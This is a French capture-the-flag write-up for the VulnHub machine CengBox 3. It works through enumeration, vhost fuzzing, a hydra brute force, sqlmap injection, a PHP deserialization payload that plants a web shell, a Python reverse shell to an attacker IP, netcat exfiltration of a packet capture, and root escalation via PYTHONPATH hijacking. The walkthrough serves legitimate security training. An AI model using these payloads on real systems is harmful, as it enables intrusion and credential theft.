Catégorie :
WriteupInformations sur la box :
- Difficulté : Intermédiaire / Difficile
- Description : Some of us hold on to poems, songs, movies, books. I guess people can’t hold onto people anymore. – Oguz Atay
You know what you have to do. If you get stuck, you can get in touch with me on Twitter. @arslanblcn_ - Type de fichier : .ova (VirtualBox)
- DHCP : Activé
- Lien : https://www.vulnhub.com/entry/cengbox-3,576/
Ce que nous allons aborder dans ce writeup :
- Énumération
- Virtual Host fuzzing
- Admin panel via brute force
- Admin panel via SQL Injection
- Shell basique
- Privesc utilisateur
- Privesc root - 1ère méthode
- Privesc root - 2ème méthode
- Conclusion
Énumération
Comme à chaque début de box il faut trouver son adresse IP avec nmap
en utilisant l’option -sP
(Ping Scan) :
nmap -sP 192.168.1.0/24
On obtient l’IP : 192.168.1.109
On va donc énumérer les services et ports ouverts sur la machine à attaquer :
nmap -p- 192.168.1.109 -A --min-rate 5000
- -p- : On scan TOUS les ports
- -A : Mode aggressif
- –min-rate 5000 : Définit le nombre d’envoi de paquets par secondes
Pour plus d’informations vous pouvez consulter le man
de nmap.
Voici les informations que l’on obtient :
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Agency
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Agency
| ssl-cert: Subject: commonName=ceng-company.vm/organizationName=Ceng Company/stateOrProvinceName=\xC3\x84Istanbul/countryName=TR
| Not valid before: 2020-09-24T14:25:07
|_Not valid after: 2021-09-24T14:25:07
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
On se rend compte que ce sont les ports basiques qui sont ouverts. Aucun port exotique. On remarque aussi que SSH port 22 est fermé et donc que le shell s’obtiendra exclusivement via la partie web.
Un site web tourne sur la machine sur le port 80.
On va se rendre dessus via le navigateur mais avant on lance un fuzzing de directory pour voir si on trouve des choses utiles :
ffuf -u http://192.168.1.109/FUZZ -w /usr/share/dirb/wordlists/directory-list-2.3-big.txt -e .php,.txt,.html
On recherche également de potentiels fichiers qui auraient pour extension .php, .txt et .html avec l’option -e
.
index.html [Status: 200, Size: 35995, Words: 2110, Lines: 814]
img [Status: 301, Size: 318, Words: 20, Lines: 10]
css [Status: 301, Size: 318, Words: 20, Lines: 10]
js [Status: 301, Size: 317, Words: 20, Lines: 10]
fonts [Status: 301, Size: 320, Words: 20, Lines: 10]
poem.txt [Status: 200, Size: 5, Words: 1, Lines: 1]
Les pages et répertoires trouvés ne semblent pas d’être d’un grand intérêt.
Seul poem.txt paraît un peu suspect mais on y reviendra plus tard. Il ne contient que Test1 et pas de possibilité d’intéragir avec puisse que c’est un .txt
.
Il existe exactement le même site mais sur le port 443 avec SSL. La première faille qui m’est venue à l’esprit était Heartbleed qui est une vulnérabilité impactant SSL et dans les CTFs quand on tombe sur du SSL c’est pas étonnant d’en trouver. Mais ici ce n’est pas le cas.
Un petit scan avec Metasploit nous indique que la cible n’est pas vulnérable à cette attaque. A savoir que j’ai utilisé Metasploit pour la simplicité et rapidité mais il existe également d’autres scripts qui font le même travail.
msfconsole #On lance d'abord le Framework Metasploit
use auxiliary/scanner/ssl/openssl_heartbleed #On choisit le module
set RHOSTS 192.168.1.109 #On spécifie l'adresse de la cible
run #On lance le scan
J’ai également tenté du fuzzing web sur le site en HTTPS mais les mêmes résultats que pour le port 80 ressortent.
Comme le site est en HTTPS on peut aller inspecter son certificat. On trouve alors cette ligne :
Common Name : ceng-company.vm
Ça ressemble quand même beaucoup à un nom de domaine. Je l’ai donc ajouté au fichier /etc/hosts
de ma machine et j’ai tenté d’accéder de nouveau au site sur les deux ports non plus via l’IP de la box mais par ce nom de domaine. Malheureusement aucun changement n’a été apperçu. J’ai même tenté de relancer un fuzzing avec fuff
sur les deux sites mais rien de plus.
Après avoir tourné pas mal de temps j’ai décidé de retourner inspecter plus en profondeur le site web.
Au niveau de la présentation de l’équipe lorsqu’on passe la souris sur la photo des personnes, les réseaux sociaux apparaissent. Certains sont inexistant mais d’autres nous amènent vers des choses intéressantes.
Notamment Eric Thompson qui permet d’accéder à son compte Github mais aussi Elizabet Sky qui possède un compte Reddit
Sur le profil Reddit on a accès à un poème écrit par Nazim Hikmet. On sait qu’on a accès à poem.txt
sur le site web. Peut-être qu’il y aura quelque chose à faire avec ces deux choses.
Le poème est le suivant :
[POEM]The Walnut Tree
My head foaming clouds, sea inside me and out I am a walnut tree in Gulhane Park an old walnut, knot by knot, shred by shred Neither you are aware of this, nor the police
I am a walnut tree in Gulhane Park My leaves are nimble, nimble like fish in water My leaves are sheer, sheer like a silk handkerchief pick, wipe, my rose, the tear from your eyes My leaves are my hands, I have one hundred thousand I touch you with one hundred thousand hands, I touch Istanbul My leaves are my eyes, I look in amazement I watch you with one hundred thousand eyes, I watch Istanbul Like one hundred thousand hearts, beat, beat my leaves
I am a walnuttree in Gulhane Park neither you are aware of this, nor the police
Nazim Hikmet
Encore une fois on reviendra dessus plus tard car on ne sait pas quoi en faire pour le moment.
Concernant le Github de notre ami Eric on peut y retrouver des choses très intéressantes.
Premièrement le README.md indique ceci :
Hint for CengBox3 -- namelastname@ceng-company.vm
Ce qui nous indique que nous sommes sur la bonne piste. On peut aussi voir la structure d’une adresse mail pour l’entreprise qui possède le site web.
De ce fait, par exemple le mail d’Eric sera ericthompson@ceng-company.vm
et celui D’Elizabeth elizabethsky@ceng-company.vm
.
Un code PHP est également présent :
<?php
class poemFile
{
public function __destruct()
{
file_put_contents($this->filename, $this->poemName, FILE_APPEND);
}
}
class Poem
{
public $poemName;
public $isPoetrist;
public $poemLines;
public function printData()
{
if($this->isPoetrist){
echo $this->poemName . "\n";
echo $this->poemLines . "\n";
echo "\n Poem has been added!";
} else {
echo $this->poemName ." is not a poem\n";
}
}
}
$object = unserialize(urldecode($_REQUEST['data']));
$object->printData();
?>
On observe dans ce code qu’il y a de la désérialisation sans aucune mesure de sécurité au niveau de la donnée. Donc potentiellement un vecteur d’attaque de ce côté.
On voit aussi qu’il y a deux classes.
La première poemFile utilise la fonction __destruct()
qui sera appelée lors de la destruction de l’objet. A ce moment cette fonction va insérer dans le fichier filename
le nom du poème (poemName
). Ces données seront sûrement récupérées depuis l’objet qui sera passé à ce fichier.
La deuxième classe Poem vérifie simplement que le champ isPoetrist
n’est pas vide et va afficher un message en fonction.
Ce sera sûrement un morceau de code à exploiter.
On garde ces infos de côté pour plus tard et on continue notre énumération.
J’ai décidé de chercher sur Google le pseudo ElizabethSky_
pour voir si on ne pouvait pas récupérer des infos en plus. Je suis tombé sur un compte Twitter avec des messages étranges mais c’est sûrement une fausse piste.
J’ai été un peu curieux et au lieu de me contenter du repository Github qu’on m’avait donné je suis allé voir dans les autres disponibles et je suis tombé sur celui-ci.
En regardant les fichiers je suis tombé sur des choses plutôt intéressantes :
setup.php
$passwd = md5("Sup3rS3cr3tPasswd!");
$insertQuery = "INSERT INTO users (name, email, passwd) VALUES ('John Doe', 'johndoe@example.com', '$passwd'),
('Elizabeth Sky', 'elizabethsky@example.com', '$passwd')";
On retrouve bien notre amie Elizabeth Sky avec un mot de passe stocké dans la base de données. Ce sera peut-être utile pour plus tard.
conn.php
$server = "localhost";
$db_user = "elizabeth";
$db_passwd = "elizabeth";
$db_name = "cengbox";
Qui indique le nom d’utilisateur et le mot de passe pour se connecter à la base de données.
login.php
if(isset($_POST['username']) && isset($_POST['passwd'])){
$username = validate($_POST['username']);
$passwd = validate($_POST['passwd']);
$passwd = md5($passwd);
$query=$conn->prepare("SELECT * FROM users WHERE email= ?");
$query->bind_param("s", $_POST['username']);
$query->execute();
$result = $query->get_result();
$users = $result->fetch_assoc();
Ici on pourrait avoir une SQLi ? Aussi à garder pour plus tard.
Virtual Host fuzzing
A cet instant j’étais un peu bloqué puisque j’avais pas mal d’informations mais rien de concret à exploiter sur aucun des deux sites web.
Grâce à une aide extérieure, on m’a donné comme indice de regarder du côté des hôtes virtuels.
J’ai donc cherché sur Internet et je suis tombé sur ce très bon article qui expliquait les différents fuzzing possibles avec Gobuster.
On peut y avoir un mode VHOST qui correspond à Virtual Host. C’est ce qu’on cherche !
Tout d’abord petit point sur ce qu’est un Virtual Host.
Comme nous l’indique très bien la documentation officielle d’Apache, il s’agit de faire fonctionner plusieurs serveurs web sur une même machine. En effet, un serveur web ne possède qu’une adresse IP et donc en théorie on ne peut avoir qu’une seule version d’un site sur celui-ci. Les VHOSTS sont là pour remédier à ce problème. On accèdera donc à ces différents sites via un nom de domaine différent.
Attention cependant à ne pas confondre le fuzzing DNS avec le fuzzing VHOST.
Dans le premier cas l’outil va essayer de résoudre le sous domaine tandis que dans le second il va essayer d’accéder à l’URL pour vérifier que l’adresse IP est identique.
Seulement, l’article ne parle que de Gobuster
et j’utilise fuff
. Donc j’ai cherché s’il était possible de faire la même chose et la réponse est oui :
/opt/ffuf/ffuf -u http://ceng-company.vm/ -H "Host: FUZZ.ceng-company.vm" -w /usr/share/wordlists/directory-list-2.3-big.txt -fs 35995
- -H permet de spécifier le Header dans lequel on va indiquer le champ à fuzz. Il sera donc remplacé par chaque mot de la wordlist.
- fs permet de filtrer la taille de la réponse HTTP. Avec le premier
ffuf
au départ on avait l’index.html
qui avait une taille de 35995. Donc on va exclure tous les VHOSTS qui n’ont pas une taille identique.
Finalement on se retrouve avec :
dev [Status: 200, Size: 4764, Words: 124, Lines: 99]
Ce qui signifie qu’on a trouvé un hôte virtuel grâce au fuzzing, qui va nous permettre d’accéder à un autre site sur le même serveur.
Il nous suffit de l’ajouter au fichier /etc/hosts
tout comme on l’avait fait au début. Voilà à quoi ressemble la ligne correspondante :
192.168.1.109 ceng-company.vm dev.ceng-company.vm
On peut maintenant y accéder avec http://dev.ceng-company.vm/
.
On se retrouve sur une page de login. Pour voir comment elle réagissait j’ai essayé de me connecter avec admin:admin, mais c’était à prévoir, ça n’a pas fonctionné.
Cependant on peut voir un message d’erreur Incorret username or password
. On remarque qu’il est également indiqué dans l’URL.
J’ai donc tenté d’y injecter du code javascript pour voir s’il était vulnérable aux XSS:
http://dev.ceng-company.vm/index.php?error=<script> alert("xss");</script>
Effectivement une pop-up apparaît bien à l’écran. Cependant on ne peut pas faire gran chose avec une reflected XSS.
Admin panel via brute force
La première option qui n’est pas la plus fun est de tenter un brute force sur la page de login en espérant trouver la bonne combinaison.
On connait la forme des adresses mail grâce au hint
trouvé sur Github.
On connait également le nom des personnes de l’équipe qui travaillent dans l’entreprise.
On pourrait donc tenter un brute force sur les adresses mail avec une grosse wordlist style rockyou
. Le problème c’est le temps que ça va prendre.
Il ne faut pas oublier qu’on a un poème trouvé sur Reddit qui ne nous a pas servi à grand chose pour le moment. Est-ce qu’on pourrait pas s’en servir pour générer de potentiels mot de passe ? (Nous sommes dans un CTF après tout :p).
On va reprendre le poème qu’on a stocké dans un fichier nommé reddit_poem.txt
et on va y appliquer des modifications pour en faire une wordlist utilisable :
cat reddit_poem.txt| sed 's/[ ,\t]/\n/g' | sed '/^$/d' | sort | uniq > custom_wordlist.txt
Cette commande va récupérer le contenu du fichier, remplacer toutes les ,
et tabulations par un retour à la ligne pour avoir un mot par ligne.
On va ensuite enlever toutes les lignes vides et retirer les doublons. On redirige maintenant vers un nouveau fichier custom_wordlist.txt
.
Maintenant qu’on a notre wordlist personnalisée on va pouvoir tenter le brute force.
Nous avons donc 4 mails (qu’on va aussi placer dans un fichier users.txt
):
ericthompson@ceng-company.vm
rodneycooper@ceng-company.vm
johndoe@ceng-company.vm
elizabethsky@ceng-company.vm
hydra -L users.txt -P custom_wordlist.txt dev.ceng-company.vm http-post-form "/login.php:username=^USER^&passwd=^PASS^:F=Incorret username or password" -t 64 -V
Avec hydra on spécifie la liste des utilisateurs, la wordlist de mots de passe, la cible (dans notre cas le nom de domaine), le type de formulaire (POST), la page de login avec les paramètres ainsi que le message d’erreur lorsque les credentials sont incorrects. On précise aussi -t 64 pour spécifier le nombre de threads et augmenter la rapidité du brute force.
[80][http-post-form] host: dev.ceng-company.vm login: elizabethsky@ceng-company.vm password: walnuttree
Le mot de passe walnuttree est également présent dans rockyou
mais ça aurait été beaucoup trop long de tout tester.
Mais avant de se connecter avec les identifiants on peut utiliser une autre technique pour les récupérer.
Admin panel via SQL injection
L’autre technique est donc d’utiliser une injection SQL via le formulaire de login de la page.
Pour se faire rien de plus simple, il suffit de lancer BurpSuite, de faire une requête sur cette même page de login. On devrait intercepter la requête suivante :
POST /login.php HTTP/1.1
Host: dev.ceng-company.vm
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://dev.ceng-company.vm
Connection: close
Referer: http://dev.ceng-company.vm/
Upgrade-Insecure-Requests: 1
username=test%40test.test&passwd=test
A préciser qu’ici le username
et passwd
ne sont pas importants, c’est juste pour pouvoir capturer la requête.
On va ensuite utiliser l’outil sqlmap
pour tenter d’effectuer une injection SQL sur la page de login.
L’utilisation principale de cet outil se fait généralement en donnant une URL avec des paramètres définis comme par exemple :
sqlmap -u "http://random-wesbite.com/index.php?id=test"
Mais on peut aussi utiliser l’option --forms
qui permet de spécifier uniquement la page souhaitée et qui va chercher automatiquement tous les formulaires contenus dans la page.
Vu qu’on ne va pas spécifier d’URL, on va utiliser l’option -r
qui va nous permettre de passe à sqlmap
un fichier texte qui contient la requête à effectuer.
Pour récupérer ce fichier il suffit sur BurpSuite de faire un clic droit sur la requête puis de sélectionner “Save Item” et de l’enregistrer dans un fichier.
Le fichier est un document XML qui contient toutes les informations de la requête.
Voici un exemple de son contenu :
<items burpVersion="2020.11.3" exportTime="Sun Dec 27 14:02:53 CET 2020">
<item>
<time>Sun Dec 27 13:04:49 CET 2020</time>
<url><![CDATA[http://dev.ceng-company.vm/login.php]]></url>
<host ip="192.168.1.109">dev.ceng-company.vm</host>
<port>80</port>
<protocol>http</protocol>
On va ensuite le passer à sqlmap
avec la commande suivante :
sqlmap -r sqlmap.txt --dbs --tamper=between
- -r pour lire la requête HTTP depuis un fichier
- –dbs permet de lister les bases de données
- –tamper permet de temporiser entre chaque requête. Cette option est directement recommandée par sqlmap.
Un fois qu’on a récupéré la liste des bases de données du site on peut affiner notre recherche pour n’afficher que les champs de la table qui nous intéressent :
sqlmap -r sqlmap.txt -D cengbox -U users --dump --tamper=between
+----+-------+------------------------------+-------------+
| id | name | login | password |
+----+-------+------------------------------+-------------+
| 1 | Admin | admin@ceng-company.vm | admin*_2020 |
| 2 | Admin | elizabethsky@ceng-company.vm | walnuttree |
+----+-------+------------------------------+-------------+
On a donc récupéré les logins pour se connecter au panel admin ainsi que les mots de passe en clair.
Après avoir fait des tests on se rend compte que les deux utilisateurs possèdent les droits administrateurs. Il n’y a donc pas d’importance dans le choix du compte avec lequel on va se connecter.
Shell basique
On a maintenant accès à une page qui nous permet d’ajouter des poèmes.
Si on tente d’en ajouter un pour voir comment le site réagit on obtient l’URL suivante :
http://dev.ceng-company.vm/addpoem.php?data=O%3A4%3A%22Poem%22%3A3%3A%7Bs%3A8%3A%22poemName%22%3Bs%3A5%3A%22shell%22%3Bs%3A10%3A%22isPoetrist%22%3BO%3A8%3A%22poemFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fpoem.txt%22%3Bs%3A8%3A%22poemName%22%3Bs%3A5%3A%22shell%22%3B%7Ds%3A9%3A%22poemLines%22%3Bs%3A21%3A%22%3C%3Fphp+echo+%22test%22%3B+%3F%3E%22%3B%7D
Cependant elle est encodée. On va donc utiliser un décodeur en ligne pour retrouver une URL plus lisible :
http://dev.ceng-company.vm/addpoem.php?data=O:4:"Poem":3:{s:8:"poemName";s:5:"shell";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:23:"/var/www/html/poem.txt";s:8:"poemName";s:5:"shell";}s:9:"poemLines";s:21:"shell";}
On peut ensuite retourner sur la page http://ceng-company.vm/poem.txt
pour visualiser le poème qu’on vient d’ajouter.
On peut voir plusieurs champs intéressants dans le json qui est envoyé via l’URL. Notamment le chemin où est enregistré le poème.
Il suffit de modifier l’URL à plusieurs reprises avec des champs différents pour savoir quel est le contenu qui est enregistré dans le fichier.
On s’aperçoit que c’est le second champ nommé poemName qui est inséré dans lke fichier.
Grâce à ces informations on va pouvoir tenter d’ajouter au fichier des données qui nous permettent d’obtenir un shell sur la machine cible.
De ce fait, si on tente par exemple d’écrire du texte dans un autre fichier que poem.txt alors on pourra y accéder.
Attention cependant, lors du changement des données dans l’URL il faut bien faire attention de changer également la taille de la chaine spécifier par s:TAILLE
.
On va donc essayer d’insérer du code php dans un fichier qu’on nommera shell.php
pour pouvoir exécuter du code :
http://dev.ceng-company.vm/addpoem.php?data=O:4:"Poem":3:{s:8:"poemName";s:5:"shell";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:23:"/var/www/html/shell.php";s:8:"poemName";s:42:"<?php system($_GET['cmd']);?>";}s:9:"poemLines";s:21:"shell";}
On se retrouve alors avec le chemin : /var/www/html/shell.php
et ce qui va être écrit dans le fichier : <?php system($_GET['cmd']);?>
.
Si on tente de se rendre à l’URL http://ceng-company.vm/shell.php
et qu’on ajoute le paramètre cmd=COMMAND
en remplaçant COMMAND par la commande à exécuter alors on voit bien qu’on arrive à communiquer directement avec le serveur.
http://ceng-company.vm/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
On peut alors obtenir un shell sur la machine grâce au reverse shell suivant (il faut bien se mettre en écoute sur notre machine auparavant) :
http://ceng-company.vm/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.91",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Attention il faut bien remplacer l’adresse IP ainsi que le port en fonction de vous.
Privesc utilisateur
Pour avoir un shell un peu plus fonctionnel et propre on peut spawn un shell bash grâce à python3
:
python3 -c "import pty;pty.spawn('/bin/bash')"
Si on regarde le fichier /etc/passwd
on voit bien qu’il n’y a qu’un seul utilisateur sur la machine :
eric:x:1000:1000:eric,,,:/home/eric:/bin/bash
On peut tenter de chercher tous les fichiers qui appartiennent à cet utilisateur :
find / -user eric 2>/dev/null
Et on trouve le fichier /opt/login.py
mais on n’a pas les droits nécessaires pour y accéder.
Avec un :
netstat -nutelap
On peut voir que la base de données MySQL
tourne en local.
Après avoir fouillé dans les fichiers du site web, on tombe sur des indentifiants plutôt intéressants :
/var/www/dev.ceng-company.vm/conn.php
$db_user = "elizabeth";
$db_passwd = "3liz4B3TH2020!Covid19";
On tente alors de s’y connecter avec ce qu’on vient de trouver :
mysql -u elizabeth -p -> 3liz4B3TH2020!Covid19
Malheureusement ça ne fonctionne pas.
Si on regarde les capabilities sur la machine on se retrouve avec :
getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
Ce qui signifie qu’on peut lancer tcpdump
avec les droits administrateur.
On va donc tenter d’écouter le réseau pour voir de potentiels paquets intéressants.
Il nous faut d’abord lister toutes les interfaces disponibles pour savoir sur laquelle il faut écouter :
tcpdump -D
On va tout écouter sauf notre machine puisqu’elle envoie beaucoup trop de données qui parasitent la capture et qui ne servent à rien :
tcpdump -i any -s0 "host not 192.168.1.91" -w /tmp/result.pcap
- -i permet de spécifier l’interface sur laquelle on écoute. Ici on écoute sur tout
- -s0 permet de capturer les paquets dans leur entièreté sans qu’ils soient tronqués et donc illisibles.
- “host not 192.168.1.91” comme sur
Wireshark
on peut spécifier des filtres. Ici on ne veut pas notre machine attaquante. - -w va écrire les résultats dans un fichier
.pcap
pour ensuite pouvoir le lire de manière plus fluide directement surWireshark
.
Après avoir écouté plusieurs minutes, on stop tcpdump
et on transfert le fichier qui contient les échanges réseau sur notre machine hôte pour l’analyser :
Côté attaquant : nc -lnvp 6666 > "result.pcap"
Côté cible : nc 192.168.1.91 6666 < "result.pcap"
Sur Wireshark
on peut apercevoir une requête HTTP intéressante :
username=eric&password=3ricThompson%2ACovid19
En effet, elle contient des identifiants qui transitent en clair directement sur le réseau.
Si on tente de se connecter sur la machine cible à l’utilisateur eric
avec le mot de passe 3ricThompson*Covid19
(attention à bien décoder %2A) on réussi !
cat /home/eric/user.txt
If someone asks us when we die tomorrow: ‘What have you seen in the world? If he said, we probably cannot find the answer to give. We don't have time to see it from running. -- Sabahattin Ali
flag(6744e509eec439570c2d6df947526749)
Privesc root méthode 1
Ici c’est la méthode la plus badass pour passer root. On verra ensuite une autre méthode beaucoup plus simple.
Maintenant que nous sommes connectés en tant qu’eric
on a accès à de nouveaux fichiers :
/opt/login.py :
import requests
creds = {'username':'eric','password':'3ricThompson*Covid19'}
r = requests.post('http://localhost',data = creds)
print(r.text)
Ce sont les identifiants trouvés via tcpdump
donc ce n’est plus utile.
/opt/check.sh :
#!/bin/bash
/usr/bin/python3 /opt/whatsmyip.py
C’est un script bash qui va juste lancer le fichier /opt/whatsmyip.py
avec python3
.
/opt/whatsmyip.py :
import requests
r = requests.get(r'http://jsonip.com')
ip= r.json()['ip']
print('Your IP is {}'.format(ip))
On a un fichier python qui va faire une requête sur un site web pour récupérer notre adresse IP publique. On garde ça de côté pour apprès.
En continuant l’énumération on s’aperçoit que l’utilisateur a des droits sudo
spécifiques :
sudo -l
(ALL : ALL) SETENV: NOPASSWD: /opt/check.sh
Ici l’utilisateur peut lancer le script /opt/check.sh
en tant que root en ayant en plus la possibilité de modifier les variables d’environnement lors de l’exécution de celui-ci.
La faille vient du fichier python et plus précisément de la ligne :
import requests
En effet, il est possible de modifier le répertoire de base de python pour qu’il aille chercher dans un autre répertoire. Dans ce répertoire onj va créer un fichier qui contient du code malicieux et on va le nommer requests.py
.
De ce fait ce sera notre requests.py
qui sera appelé à la place de celui légitime.
Le nom de cette vulnérabilité est Python Library Hijacking.
Petit bonus :
Si vous voulez connaître le répertoire par défaut dans lequel tous les scripts se trouvent :
python3 -c 'import sys; print("\n".join(sys.path))'
Il faut maintenant trouver le nom de la variable d’environnement qui permet de définir le chemin vers le répertoire par défaut des librairies de python.
Après quelques rechercent sur Internet, on trouve qu’il s’agit de la variable PYTHONPATH.
On va donc créer un nouveau fichier nommé requests.py
dans le répertoire /tmp
et qui va contenir le code pour obtenir un shell root :
echo 'import os; os.system("/bin/bash")' > /tmp/requests.py
On lance ensuite les commandes suivantes pour exécuter le script en passnt également notre variable PAYHTONPATH
modifiée :
export PYTHONPATH=/tmp/
sudo --preserve-env /opt/check.sh
Ici on modifie d’abord la variable puis on indique l’option --preverse-env
de sudo pour que les variables d’environnement restent les mêmes lorsqu’elles sont exécutées via un autre utilisateur.
On peut aussi spécifier uniquement la variable à remplacer :
sudo PYTHONPATH=/tmp/ /opt/check.sh
On obtient donc notre shell en tant que root !
cat /root/proof.txt
flag(058004ef45a08082100802d41fdcc290)
Privesc root méthode 2
Autre méthode possible pour passer root : il suffit de lancer l’outil pspy64
pour écouter en local tous les processus qui sont lancés :
2021/01/16 18:13:01 CMD: UID=0 PID=2394 | /usr/bin/python3 /opt/login.py
On voit bien ici que le script /opt/login.py
qui envoie des données sur le réseau est exécuté en tant que root.
Heureusement on a les droits de modification sur ce fichier en étant connecté avec eric
:
ls -la /opt/login.py
-rwx------ 1 eric eric 143 Sep 28 13:28 login.py
On peut alors modifier le fichier python pour y ajouter un reverse shell par exemple et donc attendre quelques instants pour recevoir la connexion et donc passer root !
Conclusion
Cette box fait partie de mes box préférées faites jusqu’à présent. Elle est plutôt réaliste et ça a été unn vrai plaisir pour moi de la faire.
Merci à vous qui êtes arrivés jusqu’ici !
Un grand merci également au créateur de la box. Vous pouvez le retrouver sur Twitter : @arslanblcn_.
Me concernant vous pouvez me retrouver également sur Twitter ou sur mon serveur Discord